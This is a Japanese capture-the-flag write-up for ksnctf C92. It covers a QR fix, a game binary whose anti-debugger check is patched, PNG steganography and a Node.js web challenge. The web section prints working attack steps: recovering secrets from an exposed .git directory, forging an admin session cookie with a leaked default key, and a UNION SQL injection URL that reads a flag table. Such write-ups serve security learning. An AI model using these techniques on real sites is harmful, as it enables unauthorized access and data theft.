ksnctf C92 Writeup

https://ksnctfc92.sweetduet.info/

91点で48位でした。表問の一部だけ解けました。
良問揃いで楽しかった。

# GATE - ゲート (1pt)

例を参考にleet表記に変換。

```
FLAG{W31C0M3_70_K5NC7F_C92}
```

# E1 - Mysterious Light (10pt)

一部が光で見えなくなってるQRコード。

4隅の「回」みたいなとこを修正すれば読み取れる。

```
FLAG{QyDYkTQNd1lb1IDH}
```

# E2 - 砂漠の中の1本のフラグ (20pt)

x64dbgで実行。

まずはデバッガチェックを回避。
`IsDebuggerPresent`の呼び出し箇所を`xor eax, eax`でパッチを当てる
(2カ所あるが、近くに`DO NOT DEBUG`とか書いてある方)

画面に座標が描画されているようなので、そのアドレスを特定したい。
描画ルーチンを探す。
外部関数呼び出しを検索 → "string"で絞り込むと下記が出る

```
アドレス=00007FF7953F1D9F
逆アセンブル=call qword ptr ds:[<&GdipDrawString>]
Destination=<gdiplus.GdipDrawString>

アドレス=00007FF7953F1DE6
逆アセンブル=call qword ptr ds:[<&GdipDrawString>]
Destination=<gdiplus.GdipDrawString>
```

近くを見ると文字列を生成してる

```
00007FF7953F1D01 | 4C 8B 0D 40 43 00 00     | mov r9,qword ptr ds:[7FF7953F6048]      |
00007FF7953F1D08 | 4C 8B 05 31 43 00 00     | mov r8,qword ptr ds:[7FF7953F6040]      |
00007FF7953F1D0F | 48 8D 15 A2 27 00 00     | lea rdx,qword ptr ds:[7FF7953F44B8]     | rdx:L"%I64u, %I64u", 7FF7953F44B8:L"%I64u, %I64u"
00007FF7953F1D16 | 48 8D 8D A0 04 00 00     | lea rcx,qword ptr ss:[rbp+4A0]          |
00007FF7953F1D1D | FF 15 D5 23 00 00        | call qword ptr ds:[<&wsprintfW>]        |
```

`7FF7953F6040, 7FF7953F6048`がキャラの座標のアドレス。

```
00007FF7953F6040  01 00 00 00 00 00 00 80 02 00 00 00 00 00 00 80  ................  
```

`16819585654921967928, 9709471222094771744`にフラグがあります とのことなので、
この値に書き換える。

これで指定の座標に移動でき、マップに並んだ岩でフラグが書かれている。

```
FLAG{9729512216727087}
```

# E6 - flower

## FLAG 1 (10pt)
StegSolveでBlue plane 1を見る。最下位ビットじゃないのがひとひねりか。

```
FLAG{ZPf1dTqXQcbD0ygl}
```

ついでにヒントももらえる。

```
Hint1: IDAT
Hint2: ↓↓↓↓↓↓↓↓↓↓↓
```

## FLAG 2 (15pt)
わからなかった。他の方の解法を見ると画像サイズを縦に伸ばすらしい。基本を見落としてた…

## FLAG 3 (15pt)
バイナリエディタで見ると、IDATが複数ある。しかもずいぶん細切れ。

適当なツールに入れてみると

![TweakPNG](https://qiita-image-store.s3.amazonaws.com/0/10750/1687da5b-ada4-c791-99e4-58d02798cdfa.png)

ん？この数値の並びはひょっとして…

```ruby
arr = [ 70, 76, 65, 71, 123, 49, 106, 109, 109, 90, 83, 76, 52, 65, 55, 70, 83, 86, 121, 66, 122, 125 ]
puts arr.map{|e| e.chr}.join("")
```

```
FLAG{1jmmZSL4A7FSVyBz}
```

その発想はなかった。すごい。

# W - Kaisendon

## FLAG1 (10pt)

まずはトップページにアクセス。

```
ユーザー登録が必要です

現在はクローズドベータテスト中で、招待された方のみが登録できます
```

ふむ。ソースがついてるのでapp.jsを見る

```js
app.get('*', (req, res, next) => {
  if (req.session.registered) {
    next();
  } else {
    res.render('notregistered');
  }
});

...

app.get('/', function(req, res, next) {
  db.all('select * from don order by id desc limit 16', (error, dons) => {
    res.render('index', {dons, flag: process.env.FLAG1});
  })
});
```

登録できればフラグが見れる。

```js
app.get(config.registerURL, (req, res) => {
  res.render('register');
});
```

configの内容が知りたいけど、config.jsは.gitignoreされている。

ん？git？
.gitがあった。ログを見る。
`oops...` とか書いてある。config.jsを間違ってコミットしたかな？

[Git初心者が絶対に覚えておくべきコマンド - idesaku blog](http://d.hatena.ne.jp/idesaku/20091106/1257507849)

```shell-session
$ git reflog
95a0789 HEAD@{0}: commit (amend): Make register page URL configurable
c81ac0e HEAD@{1}: commit: Make register page URL configurable
...

$ git reset --hard HEAD@{1}
HEAD is now at c81ac0e Make register page URL configurable

$ cat config.js
module.exports = {
  registerURL: '/register_yejaoy4eh19gjqqv',
}
```

登録フォームが出る。適当に入力。

```
ベータテストへのご協力ありがとうございます。

本サービス開始時にこちらのクーポンをご利用ください。

FLAG{3snoa6p4wncj1hpf}
```

クーポンw

## FLAG2 (12pt)

```js
app.get('/admin', (req, res) => {
  if (req.session.admin) {
    res.render('admin', {flag: process.env.FLAG2});
  } else {
    res.render('notadmin');
  }
});
```

adminになれればいいらしい。

```shell-session
$ git reset --hard 216bd65
HEAD is now at 216bd65 Make admin page

 app.get('/', function(req, res, next) {
+  req.session.admin = true;
   db.all('select * from don order by id desc limit 16', (error, dons) => {
     res.render('index', {dons});
   })
 });
```

Cookieに上記を書き込めばよさそうだけど、暗号化されている。

```js
app.use(cookieSession({
  name: 'session',
  keys: ['* secret keys *'],

  // Cookie Options
  maxAge: 24 * 60 * 60 * 1000 // 24 hours
}));
```

```shell-session
$ git fsck --lost-found
Checking object directories: 100% (256/256), done.
dangling commit 0cc9051bba168a471ea9072bf8aa181336a6755c
dangling commit 216bd6562b8b060e9c4288878795229dbab0907e
dangling commit a65874ee60d9a0805c8a25f20d6e6050e3f08148
dangling commit c81ac0e91b7d1d7b4cbcb3a5f0aea5c734b7cc89
```

なんかあった

```shell-session
$ git show a65874ee6
...
+app.use(cookieSession({
+  name: 'session',
+  keys: [/ secret keys */],
+
+  // Cookie Options
+  maxAge: 24 * 60 * 60 * 1000 // 24 hours
+}));

$ git show 0cc9051bb
...
-  keys: [/ secret keys */],
+  keys: ['* secret keys *'],
```

惜しい。他のコミットにも入ってない。
…と見せかけて、わざわざこういうコミットがあるということは、本番サイトもこれがそのままキーになっている？

ではローカルでアプリを立ち上げてadminになって、そのCookieを流用してみる。

```Dockerfile:Dockerfile
FROM node:8-onbuild

ENV FLAG1 FLAG{flag_1}
ENV FLAG2 FLAG{flag_2}
ENV FLAG3 FLAG{flag_3}

EXPOSE 3000
```

```yaml:docker-compose.yml
web:
  build: .
  ports:
    - "3000:3000"
```

```shell-session
$ docker-compose build && docker-compose up
```

アクセスすると下記のCookieが作られるので、本番サイトのCookieをこれに書き換える。

```
session: eyJyZWdpc3RlcmVkIjp0cnVlLCJhZG1pbiI6dHJ1ZX0=
session.sig: I7H6xVW_ro_Cip-MJFxz7tSDABk
```

`/admin` にアクセス。

```
FLAG{vakdriti4zzlj55p}
```

## FLAG3 (13pt)

```js
var db = new sqlite3.Database(':memory:');
db.serialize(() => {
  db.run('create table don ('+
    'id integer primary key autoincrement,'+
    'text text(1024))');
  db.run('create table flag (flag text)');
  db.run('insert into flag values (?)', process.env.FLAG3);
});

app.get('/edit/:id', (req, res) => {
  if (req.session.admin) {
    db.get('select * from don where id='+req.params.id, (error, don) => {
      res.render('edit', {don});
    })
  } else {
    res.render('notadmin');
  }
});
```

なので、adminの状態でSQLインジェクション。

```
select * from don where id=<存在しないid> union select null, flag from flag
```

をすればいい。以下にアクセス。

```
/edit/9999%20union%20select%20null,%20flag%20from%20flag
```

```
FLAG{bpodf2es4k9e42rf}
```